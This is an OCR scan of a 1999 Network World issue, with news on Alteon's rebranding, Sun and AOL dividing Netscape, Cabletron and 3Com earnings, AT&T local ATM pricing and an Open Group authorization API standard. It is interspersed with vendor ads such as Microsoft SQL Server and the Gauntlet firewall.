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Tips  to  ensure  your  network  management  tools 
make  it  through  the  turn  of  the  century.  Page  30. 


IF  „  IS  BENSON  BOUNCING  BACK?  SSS . 


!  Can  it  come  back?  Page  6. 
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Alteon  born  again  as  Web  outfit 


BY  JEFF  CARUSO 

SAN  JOSE  —  Alteon  Net¬ 
works  has  built  a  reputation  as 
a  start-up  that  likes  to  shake  up 
the  LAN  hardware  industry. 
But  it’s  now  about  to  shake  up 
itself. 

Starting  with  a  name  change 
to  Alteon  WebSystems,  the 
company  in  coming  weeks 
will  refocus  its  product  line 
toward  what  it  calls 
“Webworking”  —  networks 
specifically  directed  at  Web- 
based  data  centers  —  and 


away  from  its  roots  in  Gigabit 
Ethernet  LANs. 

The  move  is  a  testament  to 
user  demand  for  Web  servers 
and  the  difficulty  small  players 
face  in  positioning  themselves 
around  dominating  vendors 
such  as  Cisco,  3Com  and  Intel. 

Alteon  is  now  building 
switches  that  will  fill  the  gap 
between  routers  and  server 
farms,  performing  functions 
specific  to  connecting  servers 
to  large  IP  networks. 

“We  have  been  designing  an 
architecture  with  the  muscular 


body  of  a  networking  switch 
but  with  the  soul  of  a  server,” 
says  Dominic  Orr,  Alteon  presi¬ 
dent  and  CEO. 

While  Alteon’s  products  can 
balance  loads  among  servers 
See  Alteon,  page  60 
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LD  GEAR 

Old  network  gear  keeps  on  humming ,  but  may  die 
a  fast  Y2K  death.  By  Tim  Greene 

Keeping  antiquated  technology  flying  is  in  Chris  Harrison’s  blood.  A  pilot 
and  former  reseller  of  airplane  parts,  Harrison  is  proud  of  the  fact  that 
he  uses  old  and  even  salvaged  hardware  to  run  his  company’s  network. 
Phoenix  Communications  Services,  the  Internet  access  and  paging  company  he 
owns  in  Dallas,  uses  a  server  he  got  for  free  and  a  PBX  he  bought  at  auction  for  $250. 

While  the  gear  isn’t  new,  or  even  under  warranty,  it  suits  his  purposes: 

“It  works,  and  it’s  more 
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Sun  grabs  big 
Netscape  hunk 

Sun  to  control  Netscape  server,  e-comm  products. 


BY  JOHN  cox 

Say  goodbye  to  Netscape. 
And  hello  to  “Sunscape.” 

Last  week,  America  Online 
and  Sun  agreed  to  divide  up 
responsibility  for  the  products 
of  the  former  Internet  darling. 

Netscape’s  well-known  brand 
name,  Netcenter  Web  site  and 
Navigator  Web  browser  go  to 
AOL,  which  completed  its 
acquisition  of  Netscape  earlier 
this  month. 

Sun,  through  an  unusual 
joint  venture  with  AOL,  gains 
control  of  Netscape’s  server 
software  and  electronic  com¬ 
merce  products  —  the  bulk  of 
Netscape’s  software  business. 

Neither  Sun  nor  AOL  has 
given  any  details  about  their 
plans  or  about  how  the  joint 
venture  will  actually  work.  Sun 
is  expected  to  do  so  at  a  press 


conference  this  week. 

Apparently,  the  joint  ven¬ 
ture  will  take  over  all  software 
development  of  the  Netscape 
products,  except  for  the 
browser,  and  try  to  combine 
these  with  Sun  hardware  and 
See  AOL,  page  59 
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•  Our  exclusive  look  at  AOL's 
challenges  in  going  after  the 
business-services  market. 
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Review:  Ascends  Max  6000  edged 
out  the  competition  in  our  test  of  seven 
enterprise-class  remote  access  servers. 

Page  44. 


Interactive  Buyer's  Guide:  Use  our 

customizable  tools  to  compare  24  RAS  options  and  visit  the  new  RFP 
Central  area,  where  several  vendors  offer  RAS  proposals  for  our 
mock  network,  www.nwfusion.com,  DocFinder:  2223. 


Buyer's  Guide:  Remote  Access  Servers 


Issues  and  Trends:  The  watchwords 
for  vendors:  Flexibility,  security  and 
ease  of  use.  Page  43. 


SAN  start-ups 
mix  and  match 
servers,  disks 

BY  DENI  CONNOR 

A  big  batch  of  start-ups  fol¬ 
lowing  the  lure  of  easy  money 
is  getting  into  storage,  a  mar¬ 
ket  some  experts  believe  will 
triple  in  size  by  2003. 

Here  are  a  few  of  the  new 
players: 

•  Convergenet,  which  is 
building  a  device  that  links  an 
array  of  storage  subsystems 
See  Start-ups,  page  60 


SQL  Server  takes  a  big  step 
toward  enterprise  capability 

and  introduces  dramatic  ease-of-use  improvements 
with  version  7.0  of  the  database  server.”  -pc  week1 


“New  features  extend  SQL  Server's  performance  and  scalability.. .most  of  the  changes  will 

move  SQL  Server  from  the  role  of  department  server  into  the  role 

of  enterprise  database  server.”  -«***>*,• 


“SQL  Server  7.0  boasts 

impressive 

features 

that  administrators  and  users 
will  both  appreciate.”  -infoworid3 


“SQL  Server  7.0  provides  the 
flexibility,  relational  power,  and 
continued  ease  of  use  that 


should  put  the  product  in  the 

corporate  winner’s 


circle.” 


-  Intelligent  Enterprise4 


“We  recommend  that  you  consider  SQL  Server  7.0  for  new  data 
warehousing  projects  ranging  from  departmental  and  line-of-business 

data  warehousing 

even  to  the  enterprise, 

especially  if  you’re  already  a  [Windows]  NT  shop.”  -  Mitch  Kramer,  Patricia  Seybold  Group 


PC  Week  Best  of  Show,  coMDEx/Fan  1998 

Database  and  Server  Software 
1998  Product  of  the  Year  -  InfoWorld5 


Microsoft 

Where  do  you  want  to  go  today? 


;  ScaSwj  Database  that  Helps  Your  Business  Turn  Information,  • 


It’s  great  that  critics  think  it’s  enterprise  ready,  but  it’s 
more  important  that  we  convince  you.  We  invite  you  to  find  out  more 
about  Microsoft*  SQL  Server”  7.0  at  www.microsoft.com/sql 


©  1999  Microsoft  Corporation.  All  rights  reserved.  Microsoft  and  Where  ao  you  want  to  go  today?  and  Windows  NT  are  either  registered  trademarks  or  trademarks  of  Microsoft  Corporation  in  the  United  States  and/or  other  countries.  Other  products  and  company 
names  mentioned  herein  may  be  the  trademarks  of  their  respective  owners.  ^Reprinted  from  PC  Week  November  16, 1998.  Copyright  ©  1998  ZD  Inc.  All  Rights  Reserved.  2Windows  NT,  3lnfoWorld,  11/23/98  9/98  4DBMS  Magazine.  6/98  5lnfoWorld.  2/15/99 


IF  YOUR  BUSINESS'  NEEDS  EXCEED 
THAT  OF  YOUR  INTERNET  SERVICE,  THERE  ARE 
ALWAYS  OTHER  WAYS  OF  COMMUNICATING. 


7  If  you  sometimes  feel  that  your  Internet  service  is  taking  you  for  a  rough  ride, 
it's  time  you  found  a  provider  with  the  capacity  you  need,  like  U UNET,1  an 
MCI  WorldCom  Company.  We  know  you  depend  on  the  Internet  to  com:  unicate 
v  with  customers  and  business  partners  more  each  day.  That's  why  we  built 
the  world's  highest  capacity,  most  expansive  and  reliable  IP  network, 
so  you  can  depend  on  the  Internet  to  do  business.  Businesses  in  ov  70 
countries  and  six  continents  depend  on  us.  You  should  too,  because  we're  the 
provider  you'll  never  outgrow.  So  call  1  800  465  7107  or  visit  us  at  www.info.uu.net . 
UUNET.  We'll  guarantee  you  thoroughbred  service  from  a  real  workhorse. 


UUNET 

An  MCI  WorldCom  Company 


T  H  E  W  O  R  L  D  ■  S  INTERNET  COMMUNICAT  IONS  COM  Wa  N  Y 


I  S  t7Q3  ?9G  5600 Canada  1  888  ?A?  0653  &  1999  UUNET  technologies.  Inc ,  a  subsidiary  ol  MCI  WorldCom,  Inc.  All  rights  reserved  The  UUNET  logo  ts  a  Itaifceta-!^'; - 
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ONLINE 


Career  Doctor.  Kindly  Doc  Shaun 
Kelly  this  week  discusses  job 
interviews  and  resumes. 

He'll  give  you  a  prescription  for 
selling  yourself  to  prospective 
employers  —  by  showing  how 
your  skills  match  their  needs. 
DocFinder:  2228 

Lucent.  Our  front-page  story 
last  week  on  Lucent's  aggressive 
patent  enforcement  sparked  a 
number  of  comments  from  read¬ 
ers.  Some  argue  the  company 
has  basically  become  a  big  bully 
trying  to  profit  off  the  work  of 
others;  other  readers  say  it  has 
every  right  to  expect  payment 
for  its  patents.  Read  their  com¬ 
ments,  then  add  your  own. 
DocFinder:  2251 

Novell.  In  "Backspin" 
this  week,  Mark  Gibbs 
says  Novell  has  great 
products,  but  awful 
marketing  —  to  the 
point  that  Microsoft  could  beat  it 
with  an  inferior  (and  still  not  ship¬ 
ping)  directory  product.  Fusion 
users  have  been  saying  that  for 
months.  Has  anything  changed? 
Talk  about  BrainShare  and  other 
Novell  news  in  our  forum. 
DocFinder:  2252 

Training.  What's  the  worst  outside 
IT  training  program  you've  ever 
attended?  Did  you  pay  out  of  your 
own  pocket  and  not  learn  any¬ 
thing?  Was  it  a  colossal  waste  of 
time?  Let's  talk  about  it. 

DocFinder:  2253 

Help  wanted  ads.  Folks  continue 
to  contribute  examples  of  over¬ 
reaching  IT  job  postings.  This 
week's  classic:  A  government 
facility  wants  somebody  with 
experience  in  Unix,  Oracle,  Ether¬ 
net  switches  and  NetWare  or  NT 
to  support  a  network  and  desktops 
on  a  large  campus  for  $30,000. 
Seen  any  "good"  ads  lately? 
DocFinder:  2254 


How  to  get  onto 
Network  World  Fusion 

Click  on  Register  on  the  home  page 
and  follow  the  instructions. 
Subscribers,  keep  your  NWF  number 
—  highlighted  on  the  front  cover's 
mailing  label  —  handy  during 
registration.  Nonsubscribers 

must  fill  out  an  online  - y— 

registration  form.  _ 
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Will  Microsoft  and  the  Justice 
Department  settle  down? 

Microsoft,  the  U.S.  Department  of  Justice 
and  the  group  of  state  attorneys  general 
suing  the  software  company  for  antitrust 
violations  this  week  will  meet  to  discuss  set¬ 
tlement  options. 

Microsoft  put  its  first  card  on  the  table 
last  week  when  the  company  expressed  a 
willingness  to  relax  the  restrictions  it  puts 
on  licenses  given  to  computer  makers  for 
how  they  can  install  Windows  on  their 
machines.  The  company  also  said  it  would 
consider  easing  off  the  exclusive  marketing 
contracts  it  has  with  Internet  companies. 

But  it  appears  as  though  these  offers 
won’t  be  enough  to  get  Microsoft  off  the 
hook.  The  federal  and  state  governments 
want  more  radical  concessions  from 
Microsoft,  such  as  opening  Windows  source 
code  and  dividing  the  company. 

If  talks  among  the  parties  fail  this 
Tuesday,  all  three  will  attend  a  hearing  on 
Wednesday  that  will  determine  who  the 
rebuttal  witnesses  for  each  side  will  be 
when  the  trial  resumes  next  month. 


Compaq  shrinks;  Dell  grows 

Compaq  is  continuing  to  shed  employ¬ 
ees  at  its  Austin,  Texas,  operations.  Rumor 
has  it  the  company  will  soon  lay  off  150 
employees  in  its  Tandem  division. 

Last  month,  Compaq  fired  10%  of  the  staff 
at  its  Austin  network  facility. 

Rival  Dell,  however,  continues  to  grow. 
Last  week,  the  company  took  out  a  building 
permit  on  a  parcel  of  land  that  the  company 
told  Round  Rock, Texas,  officials  could  some 
day  be  home  to  10  buildings  and  12,000 
workers.  That  parcel  currently  contains  a 
300,000-square  foot  building  where  Dell 
manufactures  its  PowerEdge  servers. 

The  company  is  also  erecting  two  build¬ 
ings  at  another  location. 


B  Sterling  gobbles  up 
another  company 

Sterling  Software  last  week 
announced  plans  to  buy 
H&fT  Interlink  Computer  Sciences, 
a  Fremont,  Calif.,  maker  of 
software  for  linking  SNA  and 
TCP/IP  networks. 

The  deal,  valued  at  about  $64  million,  is 
Sterling’s  thirty-third  acquisition. 

Sterling,  based  in  Dallas,  sells  a  variety  of 
application  development  and  system  man¬ 
agement  software. 


Barksdale:  You  won't  have  me  to 
kick  around  anymore 

Former  Netscape  President  and  CEO  Jim 
Barksdale  last  week  said  you  shouldn't  expect 
to  see  him  taking  on  another  top  executive 
job  anytime  soon  —  or  anytime  at  all,  for  that 
matter.  Barksdale,  who  is  leaving  Netscape  in 


the  wake  of  its 
takeover  by  Amer¬ 
ica  Online,  says  he 
has  no  interest  in 
taking  on  a  new 
management  role. 

He  made  his 
comments  at  Gart- 
nerGroup’s  Spring 
Symposium/ITxpo 
99  conference  in 
San  Diego. 

Barksdale  says 
he’s  had  enough  of 
answering  to  shareholders  and  boards  of 
directors,  and  he  instead  will  invest  in  new 
companies  and  sit  on  boards  himself. 
Barksdale  is  now  on  AOL’s  board. 

Wireless  warriors  come  to  terms 

Ericsson  and  Qualcomm  last  week 
announced  they  have  settled  their  dispute 
over  the  code  division  multiple  access 
(CDMA)  standard  for  third-generation 
mobile  phones.  The  companies  will  jointly 
support  a  single  CDMA  standard  and  that 
should  speed  development  of  new  phones, 
analysts  say.  As  part  of  the  settlement, 
Ericsson  is  also  buying  Qualcomm’s  CDMA 
infrastructure  business. 

3Com  has  change  of  heart  about 
SANs 

3Com,  which  had  identified  storage-area 
networks  (SAN)  as  one  of  seven  emerging 
growth  areas  for  the  company  to  target, 
now  says  it  is  backing  away  from  this  tech¬ 
nology  market. 

3Com  says  it  will  instead  focus  on  mar¬ 
kets  more  closely  aligned  with  its  core 
strengths  and  converged  networks  strategy. 
Such  a  decision  not  to  enter  the  SAN  arena 
does  not  affect  any  current  products  or  cus¬ 
tomers,  the  company  says. 

“3Com  is  making  a  difficult  but  good 
business  decision,”  said  Bruce  Claflin, 
3Com’s  president  and  chief  operating  offi¬ 
cer,  in  a  statement.  “And  now  is  the  right 
time  to  take  these  actions,  before  more 
money  is  invested  and  before  product 
reaches  our  customers.” 

Nortel  takes  a  stake  in  DeskTalk 

Nortel  Networks  last  week  said  it  pur¬ 
chased  a  minority  stake  in  DeskTalk  Systems, 
a  developer  of  network  management  report¬ 
ing  software. 

The  amount  of  the  investment  was  not  dis¬ 
closed.  Nortel  said  DeskTalk’s  products  will 
help  Nottel  provide  a  more  scalable  and 
extensible  network  data  collection  and 
reporting  tool  for  multivendor  environments. 

Nortel  plans  to  integrate  the  DeskTalk 
technology  with  its  Optivity  network  man¬ 
agement  software.  Products  based  on  both 
technologies  are  expected  this  fall. 


Cabletron  posts  a  profit; 
3Com  numbers  disappoint 


Cabletron  launches  program  to  cut  costs,  spur  sales. 


BY  JIM  DUFFY 

Two  internetwork  titans  last 
week  announced  quarterly 
earnings  that  indicate  the 
need  for  some  of  the  indus¬ 
try’s  preeminent  players  to 
retrench. 

Cabletron  last  week  an¬ 
nounced  a  modest  return 
to  profitability  by  posting 
fourth-quarter  1999  earnings 
of  $2.5  million  on  sales  of 
$345.1  million.  Cabletron  also 
kicked  off  a  turnaround 
program,  dubbed  Project 
Ignition,  to  streamline  compa¬ 
ny  operations,  reduce  costs 
and  stimulate  revenue 
growth.  As  part  of  Project 
Ignition,  Cabletron  is  out¬ 
sourcing  its  manufacturing 
operations  to  Celestica,  a  Can¬ 
adian  electronics  company. 

3Com,  meanwhile,  recorded 
third-quarter  earnings  in  line 
with  previously  stated  expec¬ 
tations.  The  company  earned 
$89.6  million  on  revenue  of 
$1.4  billion,  up  from  $7.4  mil¬ 
lion  in  earnings  on  $1.25  bil¬ 
lion  in  revenue  for  the  year- 
ago  period. 

Before  3Com  announced 
third-quarter  expectations 
four  weeks  ago,  Wall  Street 
was  anticipating  earnings 
50%  higher  than  what  3Com 
actually  posted.  The  results 
indicate  that  growth  is  slow¬ 
ing  in  the  enterprise  market 
and  that  some  of  its  major 
players  need  to  tap  new  rev¬ 
enue  sources. 

“Some  of  3Com’s  major 
product  areas  are  not  showing 
much  growth,”  says  Scott 
Heritage,  an  analyst  at  Warburg 
Dillon  Read  in  New  York. 
“Network  interface  cards 
[NIC]  and  modems  are  prob¬ 
lem  areas.” 

As  for  Cabletron,  not  all  ana¬ 
lysts  are  encouraged  by  the 
modest  fourth-quarter  profit. 

“Uncertainty  remains  high 
in  terms  of  this  company’s 
outlook,”  says  Andy  Schopick 
of  Nutmeg  Securities  in 
Westport,  Conn.  “All  I’m 
doing  is  taking  a  wait-and-see 
posture.” 

Heritage  and  Schopick  say 


Project  Ignition  is  a  positive 
first  step,  but  they  don’t 
expect  Cabletron  to  demon¬ 
strate  sustained  revenue 
growth  for  at  least  six  months. 
In  addition  to  the  outsourcing 
deal  with  Celestica,  Project 
Ignition  includes  a  focus  on 
four  market  segments  — 
enterprise,  service  provider, 


CEO  Benson  says  that  under 
Project  Ignition,  Cabletron  will 
strive  for  leadership  in  pro¬ 
fessional  services  and  more. 

software  and  professional  ser¬ 
vices  —  and  other  streamlin¬ 
ing  moves  to  save  the  compa¬ 
ny  more  than  $80  million 
annually. 

“The  new  concept  for 
Cabletron  is  much  more 
focused  in  the  areas  that  we 
can  add  value  as  we  go  for¬ 
ward,”  says  Craig  Benson, 
Cabletron  chairman  and  CEO. 
“It  will  allow  us  to  prove 
ourselves  in  marketplaces 
where  we  can  be  successful. 
We  will  be  the  leader  in  these 
marketplaces.” 

3Com  is  a  leader  in  the 
NIC  and  modem  markets,  but 
that  may  be  an  albatross  for 
the  company.  3Com  derives 
half  of  its  revenue  from  so- 
called  client  access  products 

—  NICs,  modems  and 
PalmPilot  handheld  devices 

—  while  the  other  half  comes 
from  systems  products 
comprising  PalmPilot,  LAN 
switches  and  remote  access 
gear. 

Sales  of  client  access  and 
systems  products  in  the 
third  quarter  were  down  1 1% 
and  5%,  respectively,  from 
3Com’s  second  quarter,  ana¬ 
lysts  note.  S 
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SHAWN  HENRY 


Most  firewalls  are  like  bullet-proof  vests.  That’s  the  problem. 


PGP  Total  Network  Security 


McAfee  Total  Vims  Defense 


Sniffer  Total  Network  Visibility 


Magic  Total  Service  Desk 


Enter  the  Gauntlet  Active  Firewall. 


Ever  wonder  if  vour  firewall  really  works?  And  how  would  you  know  before  it’s  too  late? 


All  of  those  nagging  questions  are  easily  answered  with  Network  Associates’  patent-pending  Gauntlet  Active  Firewall 

TECHNOLOGY.  Intrusion  Detection  8  AntiVirus  Built  In.  cybercop,  our  intrusion  detection  tool,  tunes  gauntlet  by  simulating  an  actual 

HACKER  ATTACK  AND  CRACKING  PASSWORDS  INSIDE  YOUR  NETWORK.  TOGETHER  WITH  WEBSHIELD  (ANTIVIRUS  PROTECTION  FOR  INTERNET  GATE¬ 
WAYS),  Gauntlet  Active  Firewall  provides  you  with  the  only  complete,  integrated  security  solution  available  today. 
Ihe  ProdUCtS  Of  Choice.  Network  Associates  is  the  choice  of  the  US  Military  and  Intelligence  Community  because  we  offer  the  only 

-  ^  We  Ve  Got  KoUr  BOCk.  When  security  really  matters,  there’s  only 


COMPLETE  FAMILY  OF  NETWORK  SECURITY  AND  MANAGEMENT  SOFTWARE  SUITES. 


ONE  PLACE  TO  GO.  CALL  US  AT  8DO-33Z-9966,  DEPT.  6242,  FDR  OUR  WHITE  PAPER  ON  “THE  ACTIVE  FIREWALL - 

The  End  of  the  Passive  Firewall  Era,”  or  visit  us  at  www.nai.com.  Hasta  la  vista,  hackers. 
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AT&T  gets  aggressive  on  local  ATM  service 


BY  DAVID  ROHDE 

BEDMINSTER,  N.J.  — 
AT&T  wants  to  cut  you  a  price 
break  if  you  have  two  or  more 
sites  in  a  metropolitan  area 
that  can  justify  ATM  service. 

The  carrier  last  week  intro¬ 
duced  AT&T  Local  Asynchro¬ 
nous  Transfer  Mode  as  an  alter¬ 
native  to  regional  Bell  operat¬ 
ing  companies’ ATM  offerings. 
The  new  service  runs  over  the 
same  network  as  AT&T’s  exist¬ 
ing  long-distance  ATM  service 
but  only  costs  about  half  as 
much. 

AT&T’s  move  follows  the 
company’s  introduction  last  fall 
of  local  frame  relay  service. 
AT&T  and  MCI  WorldCom  now 
offer  frame  relay  ports  and  cir¬ 
cuits  within  local  access  and 
transport  areas  (LATA)  at  prices 
well  below  their  classic  long¬ 
distance  frame  relay  services 
(NW,  Dec.  7, 1998,  page  35). 

AT&T  officials  say  the  new 
intraLATAATM  service  comple¬ 
ments  its  intraLATA  frame  relay 
service  and  prepares  users  for 
the  possibility  of  frame  relay- 
to-ATM  interworking.  AT&T 
last  week  also  introduced  a 


third  local  option,  Transparent 
LAN  Service,  which  offers  ATM 
transport  at  native  Ethernet, 
Fast  Ethernet  and  token-ring 
speeds  via  a  carrier-owned 
ATM  concentrator  placed  on 
the  customer  premises. 

Analysts  say  AT&T’s  moves 
are  a  healthy  sign  that  the  car¬ 
rier  has  moved  beyond  sim¬ 
ply  obtaining  local  capacity, 
which  it  did  with  its  acquisi¬ 
tion  of  Teleport  Communi¬ 
cations  Group. 

“They’re  not  taking  this 
[Teleport]  acquisition  and  just 
sitting  there  with  it,”  says 
Cathy  Gadecki,  a  broadband 
analyst  at  TeleChoice. 

Technically,  AT&T  lias  always 
had  the  ability  to  include  two  or 
more  ATM  locations  in  the  same 
LATA  within  one  customer  net¬ 
work,  Gadecki  explains.  But  the 
RBOCs  and  other  dominant 
local  carriers  generally  price 
frame  relay  and  ATM  well  below 
AT&T’s  regular  prices. 

The  new  local  prices  may 
lessen  the  tendency  of  users 
to  buy  both  a  local  carrier’s 
and  AT&T’s  services  and 
try  to  link  the  two  to  save 
money.  AT&T  product  man¬ 


agers  say  they  will  emphasize 
that  the  carrier’s  local  and 
long-distance  ATM  services 
ride  on  the  same  Ascend 
Communications  switching 
platform,  eliminating  the 
need  for  a  network-to-net- 
work  interface. 

AT&T’s  local  ATM  service  is 
initially  available  in  two  ser¬ 
vice  classes:  constant  bit  rate 
(CBR),  appropriate  for  latency- 
sensitive  applications;  and  vari¬ 
able  bit  rate  (VBR)  nonreal 


BY  ELLEN  MESSMER 

SANTA  CRUZ,  CALIF.  —  The 
problem:  tools  and  software 
applications  that  control 
access  to  networks  oftentimes 
fail  to  work  together. 

The  answer:  Get  software 
vendors,  as  well  as  makers 
of  digital  certificates,  pass¬ 
word  systems  and  security 
tickets,  to  support  a  new 
high-level  API  being  pitched 
by  The  Open  Group  standards 
body. 

Expected  to  be  finished  in 
six  months,  the  Authorization 
Service  API  will  let  any  appli¬ 
cation  that  uses  it  work  with 
a  variety  of  security  technolo¬ 
gies:  digital  certificates;  secu¬ 
rity  tickets  such  as  Kerberos 
or  Sesame;  old-fashioned  sim¬ 
ple  passwords;  and  products 
based  on  the  RADIUS  authen¬ 
tication  protocol. 

What’s  more,  after  users  are 
authenticated  in  these  multi¬ 
ple  ways,  they  would  gain 
access  to  application  or  net¬ 
work  services  through  a  com¬ 
mon  management  model 
defined  in  the  standard. 

The  benefit?  “It  would  let 
us  control  the  security  policy 
on  an  enterprise  level,  regard¬ 
less  of  the  vendor  product,” 
says  Charles  Blauner,  vice 
president  and  chief  informa¬ 
tion  risk  officer  at  J.P.  Morgan 
&  Co.,  an  Open  Group  mem¬ 
ber  pushing  hard  for  such  a 
standard. 

The  technical  architecture 
for  the  standard  will  largely 
originate  with  Dascom,  a 


time,  designed  for  most  LAN- 
to-LAN  applications. 

Either  way,  AT&T  charges 
$  1 ,070  for  local  T-l  ports,  com¬ 
pared  to  $2,775  for  its  nation¬ 
al  T-l  ATM  service.  And  it 
charges  $6,135  for  T-3  ports, 
compared  to  $12,650  for 
national  T-3  ATM.  Permanent 
virtual  circuits  to  connect  any 
two  sites  start  at  $30  per 
month  for  VBR  traffic  and  $58 
per  month  for  CBR. 

The  Transparent  LAN  Service 


5-year-old  security  company 
whose  technology  was  re¬ 
cently  licensed  by  IBM, 
Netscape  and  other  com¬ 
panies.  Hewlett-Packard  is 
also  contributing  to  the 
standards  work. 

According  to  Dascom ’s 
founder  and  chief  technology 
officer,  Greg  Clark,  the  autho¬ 
rization  standard  will  alleviate 
the  headaches  companies  face 
when  setting  up  access  con¬ 
trol  for  e-commerce  or  inside 
their  intranets. 

“This  standard  is  for  autho¬ 
rization,  not  authentication,” 
Clark  says.  “It  lets  you  set  up 
entitlements,  the  rules  for 
what  you’ll  let  people  execute 
within  your  network.” 

Along  with  J.P.  Morgan, 
Boeing  and  T.  Rowe  Price  are 
among  The  Open  Group’s  user 
members  strongly  backing  the 
creation  of  the  Authorization 
Service  API. 

Digital  certificates,  which 
bind  a  user’s  identity  with 
encryption  keys,  can  be  used 
for  access  control,  but  differ- 


is  available  with  Cisco  or  Xylan 
ATM  concentrators  on  the  cus¬ 
tomer  premises,  both  with  a 
choice  of  Ethernet,  token-ring 
and  FDDI  interface  ports  on 
the  LAN  side. 

Prices  begin  at  $3,030  per 
month  for  token-ring  or 
basic  shared  10M  bit/sec 
Ethernet  connections.  They 
run  as  high  as  $7,320  per 
month  for  certain  FDDI 
and  switched  100M  Ethernet 
configurations.  3 


ences  in  vendors’  digital  cer¬ 
tificates  have  slowed  their 
adoption  for  e-commerce. 

Last  week,  the  warring  fac¬ 
tions  of  the  digital  certificate 
industry  —  VeriSign,  Entrust 
Technologies  and  Baltimore 
Technologies  —  each  wel¬ 
comed  the  advent  of  The 
Open  Group  authorization 
standard. 

HP  last  week  said  the  API 
would  help  users  set  up  sec¬ 
urity  policies  to  limit  access 
at  certain  times  of  day,  the  form 
of  authentication  or  even  the 
dollar  amounts  a  user  could 
transact  in  specific  instances. 

These  are  the  kinds  of 
things  that  HP’s  own  product, 
the  Praesidium  Authoriza¬ 
tion  Server,  does  today, 
notes  Roberto  Medrano,  HP’s 
Internet  Security  Group  gen¬ 
eral  manager. 

Once  the  Authorization 
Service  API  is  completed,  it 
may  also  be  offered  for 
review  to  the  IETF,  which  usu¬ 
ally  deals  with  protocols,  not 
APIs,  says  Dascom’s  Clark.  3 
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Hey  readers!  Network  World  is  proud  to  offer 
you  something  money  can't  buy  —  a  chance  to 
grace  the  cover  of  our  first-annual  You  Issue, 
arriving  on  your  desktop  this  July. 

Here's  all  you  have  to  do  to  win  a  spot  on 
our  cover:  Be  the  Network  World  reader  who 
works  in  the  most  unusual  spot  in  the  world, 
has  the  coolest  hobby  or  dedicates  time  to  the 
worthiest  cause. 

Part  of  our  bimonthly  Signature  Series,  the 
You  Issue  will  be  devoted  to  covering  you,  the 
.  Network  World  reader  —  your  jobs  and  your 

\  hobbies,  your  gripes  and  your  delights. 

Fill  out  our  online  survey 
(www.nwfusion.com,  DocFinder  1837), 
/  or  e-mail  Julie  Bort  at  jbort@nww. 

/  com.  Entries  are  due  by  April  12. 


Can  API  help  security  products  get  along? 


Authorization  Service  API  standard  to  be  based  on  Dascom,  HP  technologies. 


Examining  The  Open  Groups  Authorization  Service  API 

Expected  to  be  completed  within  six  months,  the  Authorization 
Service  API  is  largely  based  on  technology  from  Dascom 
that  has  been  put  in  the  public  domain.  Features  include: 

•  High  level  access  control  interfaces  to  let  applications  based  on  Kerberos, 
Common  Authentication  Technology  or  digital  certificates  work  together. 

•  A  common  method  to  define  user  "entitlements"  as  rules  governing 
individual  or  group  access  to  services. 

•  Data  classification  to  let  managers  "label"  data  as  sensitive  or  generally 
available. 
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There’s  a  lot  more  to  our  server 
adapters  than  meets  the  eye. 

Advanced  capabilities 
make  each  Intel®  PRO/IOO 
and  PRO/IOOO  Server 
Adapter  an  asset  to  your 
server.  Features  like  fault 


tolerance  help  keep  your  servers 
up  and  running  through  transparent 
backup  links,  while  load  balancing 
helps  to  increase  server  response  time 
by  balancing  traffic  among  multiple 
adapters.  So  server  bandwidth  can 
scale  to  meet  the  demands  of  your 


PCs.  It’s  all  another  way  Intel  is 
helping  to  enhance  your  PCs  and 
servers.  For  more  details,  and  to 
locate  an  Intel®  Authorized  Solution 
Provider,  visit  us  on  the  Web. 

►  intel.com/network/enhance/ 
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For  1999 


©  1999  Intel  Corporation.  All  rights  reserved.  Intel  is  a  registered  trademark  of  Intel  Corporation. 


News 


Sprint's  Global  One  hangs  in  the  balance 

Alliance  faulted  for  moving  too  slowly  to  end-to-end  facilities  in  face  of  competitors’  moves. 


BY  DAVID  ROHDE 

KANSAS  CITY,  MO.  —  It 
looks  like  the  hourglass  may 
run  out  of  sand  before  Sprint’s 
international  venture,  Global 
One,  completes  its  belated 
transition  from  a  carrier 
alliance  to  a  true  worldwide 
network. 

Reports  last  week  indicated 
Global  One  may  be  restruc¬ 
tured  or  even  disbanded  as 
Sprint  reviews  its  partner  rela¬ 
tionships.  Global  One  is  the  alli¬ 
ance  of  Sprint  with  France  Tele¬ 
com  and  Germany’s  Deutsche 
Telekom,  sealed  by  a  10%  stake 
by  each  of  the  foreign  carriers 
in  Sprint.  But  the  venture  has 
been  losing  more  money  each 
year  since  its  creation  in  1996, 
and  Sprint  is  said  to  be  chafing 
under  the  need  to  mollify  its 
biggest  investors. 


Sprint  and  the  two  European 
carriers  last  week  said  they  are 
still  committed  to  Global  One. 
But  analysts  say  the  venture 
simply  may  not  have  moved 


fast  enough  to  build  a  true, 
seamless  global  network. 

“Global  One  was  designed  in 
the  era  of  correspondent  re¬ 
lationships  and  carrier  alli¬ 
ances,”  says  Berge 
Ayvazian,  senior  vice 
president  of  The  Yan¬ 
kee  Group  consul¬ 
tancy  in  Boston.  “It 
has  yet  to  really  meet 
the  needs  of  en¬ 
terprise  customers.” 

Many  analysts  date 
the  change  in  the 
international  scene 
to  January  1998. 
That’s  when  AT&T 
Chairman  C.  Michael 
Armstrong  said 
AT&T’s  grab  bag  of 
foreign  alliances, 
called  WorldPartners, 
was  failing  to  meet 
users’  needs.  He 


added  that  other  carrier 
alliances  were  doing  no  better. 

After  that,  Global  One  finally 
made  a  stab  at  installing  a  global 
network  on  a  single  platform. 
Last  fall  it  announced  a  new  13- 
country  ATM  service  based  on 
a  uniform  switching  platform 
from  Nortel  Networks  (NW, 
Oct.  26,  1998,  page  29).  But  to 
really  make  a  dent  in  the  mar¬ 
ket,  Sprint  and  Global  One  offi¬ 
cials  acknowledged  that  they 
needed  frame  relay-to-ATM 
interworking  on  this  network 
to  capture  a  broad  multina¬ 
tional  customer  base. 

That  capability  is  due  online 
later  this  year.  Meanwhile,  two 
other  carriers  with  deep  roots 
in  international  packet  switch¬ 
ing  —  Infonet  and  Equant  — 
continue  to  win  multinational 
frame  relay  contracts  based  on 
See  Global  One,  page  59 


Sliding  down  a  slippery  slope 

As  Global  One's  losses  have  mounted. 
Sprint  has  been  taking  a  bigger 
financial  hit: 


Sprint's  share  of  Global  One’s  annual  losses 
(in  millions): 


SOURCE:  SPRINT.  KANSAS  CITY.  MO 


Spectrum  and  Tivoli  learn  to  share 


BY  JEFF  CARUSO 

Some  users  prefer  to  manage 
their  networks  through  Cable¬ 
tron  Spectrum  and  their  com¬ 
puter  systems  through  Tivoli 
Systems’  software.  Unfortunate¬ 
ly,  that  means  staring  at  two  dif¬ 
ferent  consoles  that  are  unable 
to  share  information. 

That  problem  will  be 
